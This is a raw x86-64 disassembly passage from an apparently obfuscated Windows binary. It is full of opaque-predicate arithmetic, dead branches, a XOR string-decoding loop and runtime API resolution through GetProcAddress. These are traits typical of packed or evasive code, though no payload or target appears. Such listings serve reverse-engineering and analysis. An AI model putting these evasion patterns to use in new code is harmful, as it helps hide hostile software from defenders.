mov ecx, dword [rsp + 0x9d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d8], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x9d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x9dc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140023506
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x478], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x9e0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x9e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x9e4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x9e4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9e8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140023430
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x9ec], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x9ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x9f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x9f4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140023430
mov dword [rsp + 0x98], 0
jmp 0x1400232f2
cmp dword [rsp + 0x98], 4
jae 0x14002342b
cvtsi2sd xmm0, dword [rsp + 0x98]
movsd xmm1, qword [rsp + 0x478]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1730], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1730]
ucomisd xmm1, xmm0
jp 0x14002336d
jne 0x14002336d
mov eax, dword [rsp + 0x98]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x478]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x478], xmm0
jmp 0x1400231ec
cvtsi2sd xmm0, dword [rsp + 0x98]
movsd xmm1, qword [rsp + 0x478]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1738], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1738]
ucomisd xmm1, xmm0
jp 0x1400233d5
jne 0x1400233d5
mov eax, dword [rsp + 0x98]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x478]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x478], xmm0
jmp 0x1400233eb
xor eax, eax
test eax, eax
je 0x1400233e7
jmp 0x1400234d2
jmp 0x140023414
cvtsi2sd xmm0, dword [rsp + 0x98]
movsd xmm1, qword [rsp + 0x478]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x51c], eax
jmp 0x1400234dd
xor eax, eax
cmp eax, 1
je 0x140023421
jmp 0x140023430
jmp 0x1400231ec
jmp 0x1400231ec
xor eax, eax
cmp eax, 1
je 0x1400234d2
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x9f8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x9f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa00], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x9fc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x9fc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa00]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x478]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x51c], eax
jmp 0x1400234dd
mov dword [rsp + 0x51c], 1
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x200]
mov edx, dword [rsp + 0x51c]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa04], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa08], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa0c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400238c0
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108398]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x480], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa10], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa18], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xa14], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa14]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa18]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400237ea
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa1c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa20], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa24]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400237ea
mov dword [rsp + 0x9c], 0
jmp 0x1400236ac
cmp dword [rsp + 0x9c], 4
jae 0x1400237e5
cvtsi2sd xmm0, dword [rsp + 0x9c]
movsd xmm1, qword [rsp + 0x480]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1740], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1740]
ucomisd xmm1, xmm0
jp 0x140023727
jne 0x140023727
mov eax, dword [rsp + 0x9c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x480]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x480], xmm0
jmp 0x1400235a6
cvtsi2sd xmm0, dword [rsp + 0x9c]
movsd xmm1, qword [rsp + 0x480]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1748], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1748]
ucomisd xmm1, xmm0
jp 0x14002378f
jne 0x14002378f
mov eax, dword [rsp + 0x9c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x480]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x480], xmm0
jmp 0x1400237a5
xor eax, eax
test eax, eax
je 0x1400237a1
jmp 0x14002388c
jmp 0x1400237ce
cvtsi2sd xmm0, dword [rsp + 0x9c]
movsd xmm1, qword [rsp + 0x480]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x520], eax
jmp 0x140023897
xor eax, eax
cmp eax, 1
je 0x1400237db
jmp 0x1400237ea
jmp 0x1400235a6
jmp 0x1400235a6
xor eax, eax
cmp eax, 1
je 0x14002388c
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa28], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa30], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xa2c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa2c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa30]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x480]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x520], eax
jmp 0x140023897
mov dword [rsp + 0x520], 1
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x200]
mov edx, dword [rsp + 0x520]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x77
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x488], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa34], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xa38], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa38]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa3c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140023b39
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa40], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa44], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa48], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa48]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140023b39
mov dword [rsp + 0xa0], 0
jmp 0x1400239fb
cmp dword [rsp + 0xa0], 4
jae 0x140023b34
cvtsi2sd xmm0, dword [rsp + 0xa0]
movsd xmm1, qword [rsp + 0x488]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1750], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1750]
ucomisd xmm1, xmm0
jp 0x140023a76
jne 0x140023a76
mov eax, dword [rsp + 0xa0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x488]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x488], xmm0
jmp 0x1400238f5
cvtsi2sd xmm0, dword [rsp + 0xa0]
movsd xmm1, qword [rsp + 0x488]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1758], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1758]
ucomisd xmm1, xmm0
jp 0x140023ade
jne 0x140023ade
mov eax, dword [rsp + 0xa0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x488]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x488], xmm0
jmp 0x140023af4
xor eax, eax
test eax, eax
je 0x140023af0
jmp 0x140023bdb
jmp 0x140023b1d
cvtsi2sd xmm0, dword [rsp + 0xa0]
movsd xmm1, qword [rsp + 0x488]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x524], eax
jmp 0x140023be6
xor eax, eax
cmp eax, 1
je 0x140023b2a
jmp 0x140023b39
jmp 0x1400238f5
jmp 0x1400238f5
xor eax, eax
cmp eax, 1
je 0x140023bdb
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa4c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xa50], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa50]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa54]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x488]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x524], eax
jmp 0x140023be6
mov dword [rsp + 0x524], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x77
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x490], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa58], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa60], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xa5c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa60]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140023e5f
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa64], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa68], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa6c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140023e5f
mov dword [rsp + 0xa4], 0
jmp 0x140023d21
cmp dword [rsp + 0xa4], 4
jae 0x140023e5a
cvtsi2sd xmm0, dword [rsp + 0xa4]
movsd xmm1, qword [rsp + 0x490]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1760], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1760]
ucomisd xmm1, xmm0
jp 0x140023d9c
jne 0x140023d9c
mov eax, dword [rsp + 0xa4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x490]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x490], xmm0
jmp 0x140023c1b
cvtsi2sd xmm0, dword [rsp + 0xa4]
movsd xmm1, qword [rsp + 0x490]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1768], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1768]
ucomisd xmm1, xmm0
jp 0x140023e04
jne 0x140023e04
mov eax, dword [rsp + 0xa4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x490]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x490], xmm0
jmp 0x140023e1a
xor eax, eax
test eax, eax
je 0x140023e16
jmp 0x140023f01
jmp 0x140023e43
cvtsi2sd xmm0, dword [rsp + 0xa4]
movsd xmm1, qword [rsp + 0x490]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b4], eax
jmp 0x140023f0c
xor eax, eax
cmp eax, 1
je 0x140023e50
jmp 0x140023e5f
jmp 0x140023c1b
jmp 0x140023c1b
xor eax, eax
cmp eax, 1
je 0x140023f01
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa70], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xa74], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x490]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b4], eax
jmp 0x140023f0c
mov dword [rsp + 0x5b4], 1
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x200]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x524]
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov edi, dword [rsp + 0x5b4]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa7c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa80], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa84], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa84]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002430a
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108390]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x498], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xa88], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xa88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa90], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xa8c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xa8c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa90]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140024234
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xa94], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xa94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa98], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xa98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xa9c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140024234
mov dword [rsp + 0xa8], 0
jmp 0x1400240f6
cmp dword [rsp + 0xa8], 4
jae 0x14002422f
cvtsi2sd xmm0, dword [rsp + 0xa8]
movsd xmm1, qword [rsp + 0x498]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1770], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1770]
ucomisd xmm1, xmm0
jp 0x140024171
jne 0x140024171
mov eax, dword [rsp + 0xa8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x498]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x498], xmm0
jmp 0x140023ff0
cvtsi2sd xmm0, dword [rsp + 0xa8]
movsd xmm1, qword [rsp + 0x498]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1778], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1778]
ucomisd xmm1, xmm0
jp 0x1400241d9
jne 0x1400241d9
mov eax, dword [rsp + 0xa8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x498]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x498], xmm0
jmp 0x1400241ef
xor eax, eax
test eax, eax
je 0x1400241eb
jmp 0x1400242d6
jmp 0x140024218
cvtsi2sd xmm0, dword [rsp + 0xa8]
movsd xmm1, qword [rsp + 0x498]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b0], eax
jmp 0x1400242e1
xor eax, eax
cmp eax, 1
je 0x140024225
jmp 0x140024234
jmp 0x140023ff0
jmp 0x140023ff0
xor eax, eax
cmp eax, 1
je 0x1400242d6
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xaa0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xaa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xaa4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xaa4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xaa8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x498]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5b0], eax
jmp 0x1400242e1
mov dword [rsp + 0x5b0], 1
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x200]
mov edx, dword [rsp + 0x5b0]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov dword [rdx + rcx*4], eax
jmp 0x140022cff
mov rax, qword [rsp + 0x710]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x710]
mov eax, dword [rcx + rax]
mov dword [rsp + 0xaac], eax
lea rax, [rsp + 0x1b28]
mov ecx, dword [rsp + 0xaac]
mov qword [rsp + 0x1780], rcx
lea rdx, [0x140132df0]
mov rcx, rax
mov rax, qword [rsp + 0x1780]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1548], rax
cmp qword [rsp + 0x1548], 0
jne 0x14002438d
xor al, al
jmp 0x14002fed5
lea rdx, [rsp + 0x1ac0]
mov rcx, qword [rsp + 0x768]
call qword [rsp + 0x1548]
mov dword [rsp + 0x690], 0x56b5
mov dword [rsp + 0xab0], 0x441a
mov dword [rsp + 0xab4], 0x4acc
mov eax, dword [rsp + 0xab0]
mov dword [rsp + 0x690], eax
cmp dword [rsp + 0x690], 0
je 0x1400243e8
mov dword [rsp + 0xab4], 0x3545
mov dword [rsp + 0x268], 0
jmp 0x140024405
mov eax, dword [rsp + 0x268]
inc eax
mov dword [rsp + 0x268], eax
cmp dword [rsp + 0x268], 0xf
jge 0x140024423
movsxd rax, dword [rsp + 0x268]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1b28], cx
jmp 0x1400243f5
lea rax, [rsp + 0x4b3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b48]
lea rcx, str._JMOZPRS___a_D
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1a0]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x694], 0x93a9
mov dword [rsp + 0xab8], 0x2f2d
mov dword [rsp + 0xabc], 0x5bc8
mov eax, dword [rsp + 0xab8]
mov dword [rsp + 0x694], eax
cmp dword [rsp + 0x694], 0
je 0x1400244ab
mov dword [rsp + 0xabc], 0x63ad
mov dword [rsp + 0x698], 0x43cc
mov dword [rsp + 0xac0], 0x3b4c
mov dword [rsp + 0xac4], 0x45d2
mov eax, dword [rsp + 0xac0]
mov dword [rsp + 0x698], eax
cmp dword [rsp + 0x698], 0
je 0x1400244ef
mov dword [rsp + 0xac4], 0x4e60
mov eax, 2
imul rax, rax, 0xe
movzx eax, word [rsp + rax + 0x1b48]
test eax, eax
je 0x140024511
mov dword [rsp + 0x69c], 1
jmp 0x14002451c
mov dword [rsp + 0x69c], 0
movzx eax, byte [rsp + 0x69c]
test eax, eax
je 0x1400245df
mov dword [rsp + 0x6a0], 0x65d6
mov dword [rsp + 0xac8], 0x88c8
mov dword [rsp + 0xacc], 0x6e8c
mov eax, dword [rsp + 0xac8]
mov dword [rsp + 0x6a0], eax
cmp dword [rsp + 0x6a0], 0
je 0x140024570
mov dword [rsp + 0xacc], 0x9ca6
mov dword [rsp + 0x1d0], 0
jmp 0x14002458d
mov eax, dword [rsp + 0x1d0]
inc eax
mov dword [rsp + 0x1d0], eax
cmp dword [rsp + 0x1d0], 0xf
jge 0x1400245df
movsxd rax, dword [rsp + 0x1d0]
movzx eax, word [rsp + rax*2 + 0x1b48]
mov dword [rsp + 0xad0], eax
mov eax, dword [rsp + 0x1d0]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0xad0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1d0]
mov word [rsp + rcx*2 + 0x1b48], ax
jmp 0x14002457d
lea rcx, [rsp + 0x1a0]
call fcn.140030328
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x718]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x140025c32
mov rax, qword [rsp + 0x718]
mov qword [rsp + 0x208], rax
mov dword [rsp + 0x60], 0
jmp 0x14002462c
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x60]
cmp rax, 1
jae 0x140025c32
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xad4], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xad4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad8], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadc], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xadc]
